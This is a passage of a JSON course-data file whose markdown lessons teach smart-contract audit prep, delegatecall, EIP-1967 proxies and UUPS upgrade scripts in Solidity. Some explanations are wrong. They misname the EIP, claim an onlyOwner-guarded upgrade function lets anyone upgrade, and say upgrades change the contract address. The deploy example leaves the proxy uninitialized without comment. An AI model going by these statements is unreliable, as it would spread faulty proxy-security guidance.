"/routes/advanced-foundry/3-defi/25-defi-audit-prep/+page.md", + "markdownContent": "---\ntitle: Audit Prep\n---\n\n_Follow along the course with this video._\n\n\n\n# Preparing for Your Smart Contract Audit: A Comprehensive Guide\n\nIn the vast and rapidly evolving world of smart contracts, security is paramount. While the course encompasses various aspects of smart contract development, one topic that we've briefly touched upon, but warrants a closer, more focused discussion is that of **smart contract audits**. While we've yet to delve deep into the details of security, this section aims to provide some guidance on preparing for smart contract audits.\n\n\n\n## What Are Smart Contract Audits?\n\nA smart contract audit involves thorough scrutinizing of the smart contract's codebase to identify potential security vulnerabilities, errors, or violation of best practices. Think of it as a rigorous debugging process that goes beyond just identifying errors — it ensures the robustness of your smart contract by checking that it functions as expected without any security threats.\n\n\n\n## Audit Readiness Checklist: Your Go-to Guide\n\nNow, you might wonder: Where should I begin? Good question, and here’s a head start: refer to the audit readiness checklist on the **[Nascent XYZ GitHub repo](https://github.com/nascentxyz/simple-security-toolkit/blob/main/audit-readiness-checklist.md)**.\n\nThis checklist offers an array of pointers that you need to keep in mind while conducting your tests in preparation for the smart contract audit. It’s like a playbook, guiding you to ensure your smart contract codebase is on par with the best global standards.\n\n## An Introduction to Security\n\nIn case you're looking forward to gaining a fundamental grasp of security from a smart contract development perspective, stay tuned for the upcoming section of our course titled \"**Introduction to Smart Contract Security**\".\n\nWe'll cover the nitty-gritty of security measures. This extensive section will delve into the lower level security facets that are vital for all smart contract developers.\n\nUnderstanding these security basics is crucial to ensure your smart contracts are safe, robust, and reliable within the blockchain network.\n\n\n\n## Wrapping Up\n\nA smart contract audit may seem daunting at first as it requires meticulous attention to detail, a thorough understanding of your codebase, and in-depth knowledge of the prevailing threats and vulnerabilities. However, it's an essential step in ensuring the safety and reliability of your smart contract protocols.\n\nThe aforementioned audit readiness checklist will be your trusted ally through this process and don't forget to keep an eye out for our upcoming course section on security, which we're confident will prove invaluable.\n\nIn the world of smart contract development, security isn't the most glamorous part of the job. But it's potentially the most important. By paying due attention to audits and security measures, you're not just bulletproofing your code; you're bolstering the integrity of the projects built on it. It's not just about finding and fixing flaws; it's about fostering trust.\n\nStay tuned. Stay secure.\n", + "updates": [] + }, + { + "lessonId": "8c36523c-6dbf-4c8c-adff-e14ed269494d", + "number": 26, + "title": "Section recap", + "slug": "defi-recap", + "folderName": "26-defi-recap", + "description": "This lesson serves as a comprehensive recap of the advanced project covered in the Web 3.0 course. It celebrates the milestones achieved in exploring varied concepts such as Decentralized Finance (DeFi), advanced fuzzing techniques, digital security, and working with Oracle", + "duration": 4, + "videoUrl": "zhV1jNdbP7fQ5L40002XQ1UkM00WSZYED00vt4QJPL00LoBo", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/26-defi-recap/+page.md", + "markdownContent": "---\ntitle: DeFi Recap\n---\n\n_Follow along the course with this video._\n\n\n\n# Celebrating a Milestone In Web 3.0 Project Development\n\nIn the world of programming and development, nothing quite matches the thrill, satisfaction, and accomplishment felt when navigating through a complex project and finally bringing it all together. This sense of achievement isn't just well-deserved, it is 1000% a badge of honor you should proudly display on your GitHub repo. If you've successfully navigated this far through the hardest, most complicated, and most advanced project in our Web 3.0 course, I tip my hat to you.\n\nThis section will recap the intricacies and nuances of our recent project, celebrate the milestones achieved, and look forward to what's next.\n\n## Diving Into the Deep End of Web 3.0\n\n\n\nThis project drew on varied and cutting-edge concepts, many of which are at the forefront of Web 3.0's evolutionary curve. We delved into Decentralised Finance (DeFi), got hands-on with state-of-the-art fuzzing techniques and even dipped our toes into the landscape of digital security. We wrote an enormously advanced test suite, worked with Oracles, and built deploy scripts from scratch.\n\nIn all these, the emphasis was on leveraging safer methods and learning through interaction with diverse libraries. The course project also explored `failOnRevert`s and runs and depth of invariance tests.\n\nYet, the journey has not been devoid of learning omissions. We've not covered the crafting of a proper README. This is a 100% essential part of any comprehensive project and I strongly recommend you write one. To understand what it entails, you can refer to the [foundry-defi-stablecoin-f23 README](https://github.com/Cyfrin/foundry-defi-stablecoin-f23/blob/main/README.md) for more clarity on its structure and content.\n\nAs I've said before, this project is lined up for an audit. The journey, as well as the audit reports, will be diligently documented in a new branch on this repository. Follow it and you can take cues from it for your own project's security journey. To successfully launch production code, you need to intimately understand security paths and the mechanics at play.\n\n## Time to Recharge\n\nThe labour of software development can be taxing, which is why after your glorious achievement, you deserve a break. After your well-earned rest, I urge you to push this codebase up to GitHub and start tidying it - removing any redundant code and adding comments where necessary.\n\nThere's also an identified glaring issue with this project, which you might consider as your next challenge - perfect for after a break. Our code becomes insolvent if the price of the assets collapse too quickly. Perhaps you can come up with an ingenious way to fix it, and then maybe even launch your own stablecoin. Why not, right?\n\n## Three More Steps To Glory\n\n\n\nEnergized after your break? Great! We only have three more lessons left to conclude this course. Here's a peek at what's coming next:\n\n- Lesson 13: Foundry Upgrades\n- Lesson 14: Foundry Governance | Plutocracy (And why it's bad)\n- Lesson 15: Introduction to Smart Contract Security (All security interested parties...get here)\n\nThese topics are significantly more manageable than what you've already faced in the previous lessons. So ease back into your seat, and get ready for the next exciting stage of your Web 3.0 journey.\n\nPat yourself on the back, and relish in the success of coming this far, it’s a milestone worth celebrating. Just three more steps, and you will have triumphantly conquered this comprehensive course. Here's to those final steps, and to seeing you at the finish line very soon!\n", + "updates": [] + }, + { + "lessonId": "579492c9-95ff-411e-8149-1ee0c1967c98", + "number": 27, + "title": "Bonus: introduction to Lens Protocol", + "slug": "introduction-to-lens-protocol", + "folderName": "27-defi-lens-protocol", + "description": " This bonus lesson introduces the Lens Protocol, a decentralized social platform by the Aave team, presented by Nader Dabit, the head of DevRel for Lens Protocol. Lens Protocol empowers developers to build social media applications in the decentralized space, leveraging Web3 features such as native payments, ownership, and composability.", + "duration": 3, + "videoUrl": "Di002edtFQzrQtdHOafJhwWQGjzLYKyB7Zm01iifJ2NVg", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/27-defi-lens-protocol/+page.md", + "markdownContent": "---\ntitle: Lens Protocol\n---\n\n_Follow along the course with this video._\n\n\n\n# Understanding Lens Protocol - The Decentralized Social Layer of Web3\n\nHello everyone, in today's section we are delving into the trenches of protocols that are not just pushing the envelope, but actively redefining the possibilities of the Web3 community. I absolutely <3 the Aave Protocol and the Aave team's consistent efforts in delivering protocols, products, and services that are enhancing the Web3 space.\n\nOne such noteworthy protocol is the Lens Protocol. Noted as a decentralized social platform, it enables building social media applications in the decentralized space. To provide a detailed overview of the Lens Protocol, we have Nader Dabit, the head of DevRel for Lens Protocol at the Aave team.\n\n\n\n## Embracing Web3 with Lens Protocol\n\nHello folks! I'm Nader Dabit, walking you through a quick introduction of Lens Protocol and its relevance to you as a smart contract or solidity engineer.\n\nLens, the social layer of Web3, equips developers with the power to construct social applications or include social features in their current applications. With a whopping 4.9 billion users globally using social applications, it is a feature widely recognized and valued.\n\nThese applications open the gateway to numerous value propositions, enabling developers to tap and exploit the opportunities they present. When combined with Web3 features like native payments, ownership, and composability, it elevates the potential to new heights offering much more robustness when compared to traditional social applications or infrastructure.\n\n## Expanding the Horizons with Custom Modules\n\nLens allows developers to expand the core smart contracts by developing their custom modules. Imagine if Twitter, Instagram, or other social applications allowed developers to submit pull requests into their backends and APIs. This ability instigates a lot of captivating and potent functionality, inspiring developers to integrate innovative ideas into their applications, and branch out into other aspects of Web3 like DeFi.\n\n\n\nMoreover, Lens Smart Contracts can be invoked from other smart contracts. This flexibility facilitates developers aiming to build something composable with the Web3 social graph, making Lens an excellent platform to integrate.\n\n## Get On Board: Start Building on Lens\n\nFor those eager to get their hands dirty and start building on Lens, head over to the [Lens Documentation](https://docs.lens.xyz/docs). Don't forget to explore ways to deploy the protocol independently, get a closer look at the smart contract code, and fiddle around with it. Learn about creating and building your custom modules.\n\nStay tuned for more exciting insights and updates. Until next time, happy coding!\n\n\n\nIn closing,\n\n\n", + "updates": [] + } + ] + }, + { +"sectionId": "193661f5-5f98-45e4-a3c3-ffcaae84f194", + "number": 4, + "title": "Upgradeable Smart Contracts", + "slug": "upgradeable-smart-contracts", + "folderName": "4-upgradeable", + "lessons": [ + { + "lessonId": "fd66fe6b-cd83-46cd-b817-3d9a23889789", + "number": 1, + "title": "Introduction", + "slug": "introduction-to-upragadeable-smart-contracts", + "folderName": "1-upgradeable", + "description": "An introduction to upgradable smart contracts, discussing their advantages, risks, and different upgrade methodologies.", + "duration": 16, + "videoUrl": "OKbeDAYLsKw02HgcXpHz6ZczBkD3CzVgK202KlofprWEU", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/1-upgradeable/+page.md", + "markdownContent": "---\ntitle: Upgradeable Smart Contracts & Proxies\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nWelcome to another informative blog post on the world of smart contracts. In this lesson, we will take a closer look at upgradable smart contracts, exploring the good, the bad, and the vital information you need to use them.\n\nTo put this into perspective, upgradable smart contracts are a complex subject with potential drawbacks, which isn't the best route to default on. They sound great in theory, promising flexibility and adaptability. However, we've repeatedly seen that when there's too much centralized control over contracts, problems arise.\n\n\n\nLet's dig deeper to understand the nuance of this subject and why it's important for your career as a smart contract developer.\n\n\n\n## What Are the Downside of Upgradable Smart Contracts?\n\nIf you asked for real-life examples of where the potential downsides of upgradable smart contracts have manifested, it's safe to say we've got plenty. From hacks to lost funds, the risks are real.\n\nThis is where the immutable nature of smart contracts comes in - a feature that developers cherish since it implies that once a contract is deployed, nobody can modify or tamper with it. Interesting enough, the unchangeable aspect can become a pain if we want to upgrade a contract to perform new functions or squash a bug.\n\nThe exciting thing is, though the code deployed to an address is immutable, there's still room for change. In fact, smart contracts update all the time. Think token transfers or any functionality really—they frequently update their balances or variables. In other words, while the logic remains unchangeable, the contracts aren't as static as they seem.\n\n## Upgrading Your Smart Contracts: A Guided Approach\n\nSo, if upgrading smart contracts tampers with their essential immutability, how can we approach the situation more wisely? Let's look at three different patterns or philosophies we can use:\n\n1. Not really upgrading\n2. Social migration\n3. Proxy (with subcategories like metamorphic contracts, transparent upgradable proxies, and universal upgradable proxies)\n\n### Not Really Upgrading\n\nThe \"Not Really Upgrading\" method is the simplest form of \"upgrading\" a smart contract. The idea here is parameterizing everything—the logic we've deployed is there and that's what users interact with. This involves having setter functions that can change certain parameters.\n\nFor instance, if you have a set reward that distributes a token at a 1% rate every year, you can have a setter function to adjust that distribution rate. While it's easy to implement, it has limitations: unless you anticipated all possible future functionality when writing the contract, you won't be able to add it in the future.\n\nAnother question that arises is—who gets access to these functions? If a single person holds the key, it becomes a centralized smart contract, going against decentralization's core principle. To address this, you can add a governance contract to your protocol, allowing proportional control.\n\n### Social Migration\n\nIn line with maintaining the immutability of smart contracts, another method is social migration. It involves deploying a new contract and socially agreeing to consider the new contract as the 'real' one.\n\nIt has some significant advantages, the main being the adherence to the essential immutability principle of smart contracts. With no built-in upgradeability, the contract will function the same way, whether invoked now or in 50,000 years. But one major disadvantage is that you'd now have a new contract address for an already existing token. This would require every exchange listing your token to update to this new contract address.\n\nMoving the state of the first contract to the second one is also a challenging task. You need to devise a migration method to transport the storage from one contract to the other. You can learn more about the social migration method from [this blog post](https://blog.trailofbits.com/2018/09/05/contract-upgrade-anti-patterns/) written by Trail of Bits.\n\n### Proxies\n\nFinally, let's talk about proxies, the holy grail of smart contract upgrades. Proxies allow for state continuity and logical updates while maintaining the same contract address. Users may interact with contracts through proxies without ever realizing anything changed behind the scenes.\n\nThere are a ton of proxy methodologies, but three are worth discussing here: Transparent Proxies, Universal Upgradable Proxies (UPS), and the Diamond Pattern. Each has its benefits and drawbacks, but the focus is on maintaining contract functionality and decentralization.\n\n## Key Takeaways\n\nDealing with upgradable smart contracts can be complex, but understanding the pros and cons helps in making the right decision while developing smart contracts. Do remember that upgradable smart contracts might have their advantages, but they also come with their possible drawbacks, such as centralized control and increased potential for breaches. Always weigh the necessity against the risks before deciding on using upgradable smart contracts.\n\nThat was it for todays lesson. I hope you enjoyed it and learned something new. We well see you again on the next chapter so keep learning and keep building!\n", + "updates": [] + }, + { + "lessonId": "13e81a5e-dda3-4896-9b0e-aa35d292c0e8", + "number": 2, + "title": "Using Delegatecall", + "slug": "solidity-delegate-call", + "folderName": "2-delegate-call", + "description": "Detailed explanation of delegate call in Solidity, its differences from regular call functions, and its implications in smart contracts.", + "duration": 9, + "videoUrl": "HSgB00UeqF00dz900ivWqMTMNtfcgUGrbewxBrFFaHhhAc", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/2-delegate-call/+page.md", + "markdownContent": "---\ntitle: Delegate Call\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nIn this lesson, we're going to go deep on Upgradeable Smart Contracts specially on the `Delegate Call`, how to construct proxies and upgradable smart contracts. This forms a fundamental part of the blockchain space, especially when building efficient and investor-friendly decentralized applications.\n\n## Delegate Call vs Call Function\n\nSimilar to a call function, 'delegate call' is a fundamental feature of Ethereum. However, they work a bit differently. Think of delegate call as a call option that allows one contract to borrow a function from another contract.\n\nTo illustrate this, let's look at an example using Solidity - an object-oriented programming language for writing smart contracts.\n\n```javascript\ncontract B {\n // NOTE: storage layout must be the same as contract A\n uint256 public num;\n address public sender;\n uint256 public value;\n\n function setVars(uint256 _num) public payable {\n num = _num;\n sender = msg.sender;\n value = msg.value;\n }\n}\n\n```\n\nOur Contract B has three storage variables (`num`, `sender` and `value`), and one function `setVars` that updates our `num` value. In Ethereum, contract storage variables are stored in a specific storage data structure that's indexed starting from zero. This means that `num` is at index zero, `sender` at index one and `value` at index two.\n\nNow, let's deploy another contract - Contract A. This one also has a `setVars` function. However, it makes a delegate call to our Contract B.\n\n```javascript\ncontract A {\n uint256 public num;\n address public sender;\n uint256 public value;\n\n function setVars(address _contract, uint256 _num) public payable {\n // A's storage is set, B is not modified.\n // (bool success, bytes memory data) = _contract.delegatecall(\n (bool success, ) = _contract.delegatecall(\n abi.encodeWithSignature(\"setVars(uint256)\", _num)\n );\n if (!success) {\n revert(\"delegatecall failed\");\n }\n }\n}\n```\n\nNormally, if `contract A` called `setVars` on `contract B`, it would only update `contract B's` `num` storage. However, by using delegate call, it says \"call `setVars` function and then pass `_num` as an input parameter but call it in _our_ contract (A). In essence, it 'borrows' the `setVars` function and uses it in its own context.\n\n## Understanding Storage in Delegate Call\n\nIt's interesting to see how delegate call works with storage on a deeper level. The borrowed function (`setVars` of Contract B) doesn't actually look at the names of the storage variables of the calling contract (Contract A) but instead, at their storage slots.\n\nIf we used the `setVars` function from Contract B using delegate call, first storage slot (which is `firstValue` in Contract A) will be updated instead of `num` and so on.\n\nOne other important aspect to remember is, the data type of the storage slots in Contract A does not have to match that of Contract B. Even if they are different, delegate call works by just updating the storage slot of the contract making the call.\n\n## Wrap Up\n\nIn conclusion, delegate call is a very handy function in Solidity that allows one contract to 'borrow' a function from another. However, care should be taken when using it as the storage slots in the calling contract get updated directly, without looking at the variable names or data types. It might lead to unpredictable behavior if overlook this aspect.\n\nFeel free to experiment with different contracts and function calls to witness delegate call in action. But remember, \"With great power, comes great responsibility!\"\n", + "updates": [] + }, + { + "lessonId": "8efd33a4-8933-4287-9fa8-278c4d22007f", + "number": 3, + "title": "Overview of the EIP-1967", + "slug": "what-is-eip-1967", + "folderName": "3-eip-1967", + "description": "Overview of EIP-1967 and its role in proxy contracts, including a practical guide on building a minimalistic proxy.", + "duration": 12, + "videoUrl": "ZryEwl02r4nLF02NanpG1VBmXo32oYsDB00tkm3pkezizM", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/3-eip-1967/+page.md", + "markdownContent": "---\ntitle: EIP-1967 Proxy\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nHave you ever wondered how a contract can be used as a singular address, but the underlying code can change? Buckle up, because we'll be exploring this topic by building a simple yet fascinating contract known as a “Proxy Contract”.\n\n## Before we begin\n\nThis walkthrough requires some advanced understanding of Ethereum and Solidity. However, if you're passionate about learning the ropes, feel free to tag along. We'll be basing our coding process on the Hardhat upgrades library.\n\nYou can find this library in the course repo, `SmallProxy.sol` template. Here's the Code: [Code Link](https://github.com/Cyfrin/foundry-upgrades-f23/blob/main/src/sublesson/SmallProxy.sol)\n\n## Welcome to the world of Proxy Contracts\n\nWe start with a minimalistic starting proxy template from OpenZeppelin library called `SmallProxy.sol`. This is a low-level contract built mostly in assembly, Yul.\n\n**Yul, you ask?**\n\nYul is an intermediate language that can be compiled to bytecode for different backends. It allows developers to write difficult yet super effective low-level code close to the opcodes.\n\n\n\nIn our proxy contract, we have this `delegate()` function that uses inline assembly (Yul). Though it does many things, its main job is to perform delegate call functionality.\n\nThe proxy utilizes two generic fallback functions to process unrecognized function calls:\n\n1. **Fallback:** Anytime the proxy contract receives data for an unrecognized function, it triggers a callback that involves our `delegate()` function.\n2. **Receive:** Whenever it receives a function it doesn't recognize, it'll call `Fallback` and `Fallback` calls our `delegate()` function.\n\nThrough these fallback functions, the contract processes data for an unrecognized function and delegates it to the implementation contract through delegate call.\n\n## Building a Minimalistic Proxy\n\nWith our understanding in place, let's take it a step further by setting and reading our implementation addresses.\n\nThe proxy we'll be creating will feature a function called `setImplementation()` which \"upgrades\" the smart contract by changing the delegated calls' recipient.\n\nThe `_implementation()` function will be there for us to see where the implementation contract is. There's one thing you need to know though:\n\n\n\nThis is where EIP 1976 comes into play. It’s an Ethereum Improvement Proposal for using certain storage slots specifically for proxies. We'll use EIP 1976 to store our implementation's address by assigning it into a constant storage slot.\n\nThe logic of our proxy will operate like this: If any contract calls our proxy contract excluding the `setImplementation` function, it'll be passed over to the stored implementation address from our constant storage slot.\n\nLet's take it step by step though.\n\n1. **Step 1 - Building the Implementation Contract**: We’ll start by creating a dummy contract `implementation A`. This contract will have a uint256 public value and a function to set the value.\n\n```js\ncontract ImplementationA {\n uint256 public value;\n\n function setValue(uint256 newValue) public {\n value = newValue;\n }\n}\n```\n\n2. **Step 2 - Creating a Helper Function**: So that we can easily figure out how to get the data, we'll create a helper function named `getDataToTransact`.\n\n```js\nfunction getDataToTransact(\n uint256 numberToUpdate\n ) public pure returns (bytes memory) {\n return abi.encodeWithSignature(\"setValue(uint256)\", numberToUpdate);\n }\n```\n\n3. **Step 3 - Reading the Proxy**: Next up, we create a function in Solidity named `readStorage` to read our storage in small proxy.\n\n```js\nfunction readStorage()\n public\n view\n returns (uint256 valueAtStorageSlotZero)\n {\n assembly {\n valueAtStorageSlotZero := sload(0)\n }\n }\n}\n```\n\n4. **Step 4 - Deployment and Upgrading**: We'll now go ahead and deploy our small proxy and implementation A. Let’s grab implementation A's address and feed it into the `set implementation` function.\n5. **Step 5 - The Core Logic**: When we call the small proxy with data, it's going to delegate our call to implementation A and save the storage in the small proxy address. To process this, the proxy will use the `set value` function selector and update our small proxy's storage.\n6. **Step 6 - _Isometrics_**: To ensure that our logic works correctly, we'll read the output from the function `read storage`. To make this test even more exciting, let's create a new implementation contract `Implementation B` and update our code.\n\nEvery time someone calls `set value`, the function will return `new value + 2` instead of just the new value. We recompile and redeploy this contract then run `set implementation` with `Implementation B's` address.\n\nThe moment of truth? If we call our small proxy using the same data, then `read storage` should now return `779`.\n\n## Wrapping Up\n\nThis is just a simple representation of how we can upgrade contracts in Ethereum. With proxy contracts, clients can always interact with a single address (the proxy address) and have their function calls processed correctly even when the underlying logic changes.\n\nJust a heads up though, it is crucial to ensure that you understand who has access to upgrade the contract. If a single person can upgrade it, then we risk making our contract a single point of failure and the contract isn't even decentralized.\n\nThe proxy contract I used is simple and comes with its own share of limitations. Notably, it can't process function receiver clashes correctly. For example, if we have a function `set implementation` in the proxy and implementation, the proxy's function is the one that is always called.\n\nTo deal with these and other similar issues, there are two popular proxy patterns to consider; `Transparent` and `Universal upgradable proxy`.\n\nNotwithstanding, don't hesitate to make a new discussion about proxies in the discussions thread if you still find them perplexing.\n\nThis section is very advanced and requires a deep understanding of the previous sublessons. I strongly recommend that you growth hack your understanding by playing around with Solidity and remix.\n\nBelieve it or not, this is one of those areas where seeing is believing. So, don't just read here! Jump into remix and play around with this functionality. Break and fiddle till you get the hang of it.\n\n**Happy learning!**\n", + "updates": [] + }, + { + "lessonId": "d18db6a9-9601-4a3e-9b08-74f7ac8f3ac5", + "number": 4, + "title": "OpeZeppelin UUPS proxies", + "slug": "introduction-to-uups-proxies", + "folderName": "4-uups", + "description": "Introduction to UUPS (Universal Upgradeable Proxy Standard) proxies in OpenZeppelin, showcasing their setup and usage.", + "duration": 22, + "videoUrl": "QmeMmXDZhYJekvFcyJDUbb2oack7ywZXSAMRVrdeSDk", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/4-uups/+page.md", + "markdownContent": "---\ntitle: UUPS Setup\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\n## Building an Upgradable Solidity Contract with Delegate Call\n\nIn today's sublesson, we are going to delve into the depths of Solidity; we're going to write an upgradable contract utilizing the power of the delegate call function. We will not only cover the theory but also offer a full example and walk you through it step by step.\n\n\n## Let's Get Started\n\nFirst, we are going to create a new directory for our project called `foundry-upgrades-f23`.\n\n```shell\nmkdir foundry-upgrades-f23\ncd foundry-upgrades-f23\n```\n\nNow, remember we recently mentioned the Transparent Proxy pattern and the UUPS Proxy pattern. Today, we will primarily focus on the latter. UUPS Proxy is a more robust pattern which allows upgrades to be handled by the contract implementation and can be removed eventually. This is immensely crucial if we want to make our contract upgrade as seldom as possible staying as close as possible to complete immutability.\n\nNow, let's initialize our project with:\n\n```shell\nforge init\n```\n\nAfter setup, we will delete the unnecessary files and start to build our very own minimal contracts: `BoxV1.sol` and `BoxV2.sol`.\n\n### BoxV1\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {OwnableUpgradeable} from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport {Initializable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport {UUPSUpgradeable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\n\ncontract BoxV1 is Initializable, OwnableUpgradeable, UUPSUpgradeable {\n uint256 internal value;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n _disableInitializers();\n }\n\n function initialize() public initializer {\n __Ownable_init();\n __UUPSUpgradeable_init();\n }\n\n function getValue() public view returns (uint256) {\n return value;\n }\n\n function version() public pure returns (uint256) {\n return 1;\n }\n\n function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}\n}\n```\n\n### BoxV2\n\n```js\n/// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {OwnableUpgradeable} from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport {Initializable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport {UUPSUpgradeable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\n\ncontract BoxV2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {\n uint256 internal value;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n _disableInitializers();\n }\n\n function initialize() public initializer {\n __Ownable_init();\n __UUPSUpgradeable_init();\n }\n\n function setValue(uint256 newValue) public {\n value = newValue;\n }\n\n function getValue() public view returns (uint256) {\n return value;\n }\n\n function version() public pure returns (uint256) {\n return 2;\n }\n\n function _authorizeUpgrade(\n address newImplementation\n ) internal override onlyOwner {}\n}\n```\n\nIn `V2`, we introduce another function — `setNumber()`. We have prepared the `BoxV1` contract initially, and will upgrade it to `V2` after deployment.\n\n\n\n## Implementing UUPS Upgradable Contract\n\nNext, we need to define our `UUPSUpgradable` contract.\n\nRemember we don't want to use a constructor in our implementation because the Proxy doesn't call the constructor when a contract is initialized. Instead, we need to utilize an **initializer function** to replace the constructor logic.\n\nA function marked with the `initializer` modifier can be initialized **only once**. It's a way to define a constructor for contracts that are meant to be used via Proxy, without the typical Solidity constructor's downside.\n\n```javascript\nfunction _authorizeUpgrade(\n address newImplementation\n ) internal override onlyOwner {}\n```\n\nThe authorize upgrade function will give us control over who can upgrade the contract. You can replace it based on your authorization scheme. For simplicity, we'll leave it blank here, implying that anyone can upgrade the contract.\n\nAnother crucial detail to consider is the Proxy storage. **Proxies only point to storage slots, not variable names**. This behavior could lead to collisions when new storage slots are added. For example, say you upgrade from `V1` to `V2`. If `V1` has the variable `number` at storage slot `0`, and you add another variable `otherNumber` to `V2` also at storage `slot`, the old `number` variable will be overwritten by `otherNumber`.\n\n\nAnd that's it. We created an initial contract `Box V1` and a simple upgrade version of it `Box V2`. Of course, these are basic contracts, and real-world contracts will need more thorough authorization and verification processes when it comes to upgradeability.\n\n**Remember**, when you upgrade contracts, you change the contract address and all calls are redirected to the new contract. Your users need to trust you, or the decentralized governance scheme, with the upgrade. After all, a rogue implementation can ruin a well-designed contract and its users.\n\nSo, as a developer, you need to execute upgrades judiciously and sparingly, always focusing on creating well-tested and audited contracts.\n\nStay tuned for more posts about Solidity development and best practices!\n\n", + "updates": [] + }, + { + "lessonId": "816cc425-4b4c-45b1-a8be-0b7593b6d0c9", + "number": 5, + "title": "Deploy upgreadable smart contracts", + "slug": "deploy-upgreadable-smart-contracts", + "folderName": "5-uups-deploy", + "description": "Guide on deploying upgradeable smart contracts, focusing on the deployment process and best practices.", + "duration": 5, + "videoUrl": "z016vkBYOQIIgOmpE02YjxM02Ael2i8R1a9Jq2alzB021r8", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/5-uups-deploy/+page.md", + "markdownContent": "---\ntitle: UUPS Deploy\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\n\n\nIn this blog post, I am going to give you a walkthrough on how to upgrade and deploy upgraded contracts using Solidity, more specifically, boxes. By the end of this guide, you'll be able to deploy an upgradeable box contract from the same address.\n\nHere's the roadmap for this blog post:\n\n1. Deploy Box v1\n2. Get an address\n3. Verify that functions work\n4. Deploy Box v2\n5. Point Proxy to Box v2\n\nReady? Let's make the magic happen!\n\n### Deployment Script - `deployBox.sol`\n\nFirst off, we'll create a script named `deployBox.sol`, which will be responsible for deploying our Box. Also, we'll create another one called `upgradeBox.sol` that will help to upgrade it later on. Here's what the `deployBox.sol` script looks like:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {BoxV1} from \"../src/BoxV1.sol\";\nimport {ERC1967Proxy} from \"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol\";\n\ncontract DeployBox is Script {\n function run() external returns (address) {\n address proxy = deployBox();\n return proxy;\n }\n\n function deployBox() public returns (address) {\n vm.startBroadcast();\n BoxV1 box = new BoxV1();\n ERC1967Proxy proxy = new ERC1967Proxy(address(box), \"\");\n vm.stopBroadcast();\n return address(proxy);\n }\n}\n```\n\nPlease note that this SPX license and pragma version can differ based on your needs and project's requirements.\n\nHere, the `DeployBox()` function creates a new instance of the `BoxV1` contract.\n\n\nIf everything is coded correctly, it should compile without any issues.\n\n\n\n### Now, let's see this in action...\n\nThis tutorial is not just about compiling code but also about making it work in real-time. The next steps will involve writing tests to facilitate execution and to ensure everything is working as expected. Stay tuned for the detailed rundown of those steps in the upcoming posts.\n\nWe'll be deploying `Boxv1`, get it's proxy address, and then we're going to upgrade it to `Boxv2`. All from the same address.\n\nWe'll cover that in the next blog post, so hang on tight!\n\nThere's more to Solidity and Proxy contracts than meets the eye, and with this proxy in particular, you're sure to upgrade your Solidity contracts with utmost efficiency.\n\n", + "updates": [] + }, + { + "lessonId": "d3063f5c-4cd7-4fb6-aa35-5163adac7575", + "number": 6, + "title": "Upgrade UUPS proxy smart contracts", + "slug": "uups-upgrade", + "folderName": "6-uups-upgrade", + "description": "Tutorial on upgrading UUPS proxy smart contracts, including script writing and execution.", + "duration": 6, + "videoUrl": "2XOgdZs4rPMkUq01pJsPPMYzWf7ZwwuWE2k8UiVAcnvY", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/6-uups-upgrade/+page.md", + "markdownContent": "---\ntitle: UUPS Upgrade\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nOn this sublesson we are going to write the script to upgrade the Box contract we made on past sublessons using a new contract called `UpgradeBox.s.sol`.\n\n## Write and Deploy an Upgrade Box Script\n\nHaving installed the DevOps tool, let's move to the meat and potatoes: the upgrade box script creation.\n\nWe'll start by defining our pragma and importing the necessary dependencies\n\n```js\npragma solidity ^0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {BoxV1} from \"../src/BoxV1.sol\";\nimport {BoxV2} from \"../src/BoxV2.sol\";\nimport {ERC1967Proxy} from \"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol\";\nimport {DevOpsTools} from \"lib/foundry-devops/src/DevOpsTools.sol\";\n```\n\nDefine a function, `run`, which will return the proxy\n\n```js\nfunction run() external returns (address) {\n address mostRecentlyDeployedProxy = DevOpsTools\n .get_most_recent_deployment(\"ERC1967Proxy\", block.chainid);\n\n vm.startBroadcast();\n BoxV2 newBox = new BoxV2();\n vm.stopBroadcast();\n address proxy = upgradeBox(mostRecentlyDeployedProxy, address(newBox));\n return proxy;\n }\n```\n\n\n\n## Upgrade the Box\n\n\nInitializing a proxy upgrade, we'll create a new function `upgradeBox`. This function will take in two parameters: the address of our deployed proxy and the address of our newly deployed Box v2. We will then return the proxy address.\n\n```js\n function upgradeBox(\n address proxyAddress,\n address newBox\n ) public returns (address) {\n vm.startBroadcast();\n BoxV1 proxy = BoxV1(payable(proxyAddress));\n proxy.upgradeTo(address(newBox));\n vm.stopBroadcast();\n return address(proxy);\n }\n```\n\n\nSo if the journey was a bit challenging, let's summarize what's actually happening in layman's terms.\n\n\n\nSimple, right? Don't believe it yet? It's alright, let's prove it with a test!\n\nFor now, happy coding!\n\n", 